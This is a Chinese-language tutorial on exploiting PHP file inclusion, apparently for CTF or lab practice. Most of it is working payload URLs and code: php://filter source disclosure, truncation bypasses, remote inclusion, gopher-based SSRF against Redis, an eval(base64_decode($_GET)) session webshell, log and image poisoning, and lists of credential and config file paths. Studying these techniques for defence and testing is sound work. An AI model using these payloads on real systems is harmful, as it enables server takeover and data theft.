0x00前言
用户的一些行为会将服务器某些文件比如日志,session等写入信息,如果有php页面能够把写入的恶意代码其包含进来,就可能getshell
0x01文件包含的函数
include, include_once,require,require_one引入文件时,利用参数拼接成路径,而参数如果可控则造成的问题。
这四个函数虽然存在细微的不同,但是功能都大差不差
0x02文件包含可用的协议
1.php://input => 读取到访问请求的原始数据的只读流,即读取POST上没有经过解析的数据。不支持multipart/form-data的类型的传码方式上传。
resource= 要过滤的数据流
read = 读链的筛选列表 write = 写链的筛选列表 convert.base64-encode =>打开后是base64编码后的
该协议使用没有配置文件的限制,它可以读文件
http://127.0.0.1/test/include.php?a=php://filter/read=convert.base64-encode/resource=fupload.php #读取文件,将内容base64编码输出
3.zip:// => 将压缩包里面的文件读取出来,并包含读取的文件,文件路径必须为绝对路径
http://127.0.0.1/test/include.php?a=zip://D:/phpstudy/WWW/test/hello.zip%23hello.txt // %23是#编码,因为要会和url中#定为冲突
4.phar:// => 将压缩包里面的文件读取出来,并包含读取的文件,文件路径可用是相对路径
http://127.0.0.1/test/include.php?a=phar://hello.zip/hello.txt
关于file_put_contents()函数
在file_put_contents()中可以用php://filter协议进行写文件
这个函数在处理/.这个的时候会在写入的时候给自动删除。因此如果前面对后缀进行正则匹配
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename))
详细原理http://wonderkun.cc/index.html/?p=626
使用方法
file_put_contents('php://filter/write=convert.base64-encode/resource=hello.php/.', 'PD9waHAgZWNobyAiaGVsbG8iOz8+'); #可以将base64解码内容写进去,并且不会保存/.
0x03包含的2种形式
本地包含
只要使用了include,require等包含的函数,就能本地包含
有时候会存在这个,添加后缀的过滤,导致无法随性所有的包含文件
include $path . "txt";
在php5.3即以下可用使用%00截断
http://127.0.0.1/test/get.php?file=hack.php%00
在php5.2.8以下能使用路径截断
window服务器利用256个. linux利用2038个/.组合来截断扩展名
http://127.0.0.1/test/get.php?file=hack.php........................................[256个]
http://127.0.0.1/test/get.php?file=hack.php/./././././././././././././[2038个]./././././.
远程包含
远程包含是跨地址的包含,即包含另外台服务器的页面
前提是在php.ini里面的allow_url_include=ON和allow_url_fopen=ON, allow_url_fopen默认是ON,allow_url_include在 php 5.2 后是OFF
http://127.0.0.1/test/include.php?a=http://www.baidu.com
如果存在后缀限制
include $path . "txt";
可用通过?来将后缀当场参数的方式进行包含其他类型文件(这个方法本地包含无效)
http://127.0.0.1/test/include.php?a=http://127.0.0.1/test/fupload.php?
远程包含甚至能发起ssrf攻击
url=file:///etc/passwd #查看文件 url=dict://127.0.0.1:80 #探测端口开放 url=gopher://127.0.0.1:6379/payload #对redis服务进行getshell等操作
0x04包含文件的技巧
在有时候我们能够通过行为对服务器端的文件进行写入,再利用能够包含的页面就能达到我们的目的
对session的包含
1=system("cat flag.txt"); #会出现有空格并不能执行命令 这里修改下木马文件1 eval(base64_decode($_GET[1]))?> 参数如下传送: 1=c3lzdGVtKCJjYXQgZmxhZy50eHQiKTs= #是system("cat flag.txt");的base64编码
对日志文件进行包含
/var/log/httpd/access_log #其实一般情况下是没有权限访问该文件夹的 /etc/httpd/logs/access_log #Centos系统的apache日志文件位置
包含图片
利用上传的合法文件,在文件中输入php代码标签,将内容包含进来即可进行运行
windows下可以用该命令在图片中加入内容
copy 1.jpg/b + 1.php/b 2.jpg
包含临时文件
在即使没有上传文件的处理页面的时候,如果提交上传的http请求头,服务器依然会把文件以临时文件存在tmp下,但是之后会马上删除
文件的名字一般为phpxxxx, xxxx是随机字母+数字组合
可以利用连续包含导致php短暂崩溃,使得临时文件能够存储下来,方法
127.0.0.1/index.php?file=index.php
即,把文件的action目标填成能够包含的文件,然后参数带上包含自己,即可导致临时文件停留于服务器
配置文件路径
有时候包含配置文件会发现有价值的信息,而这些文件一般是可读的
/etc/httpd/conf/httpd.conf
/etc/nginx/conf.d/default.conf
/etc/apache2/apache2.conf
/etc/apache2/sites-available/000-default.conf #可以看到web的目录路径
/etc/httpd/conf.d/php.conf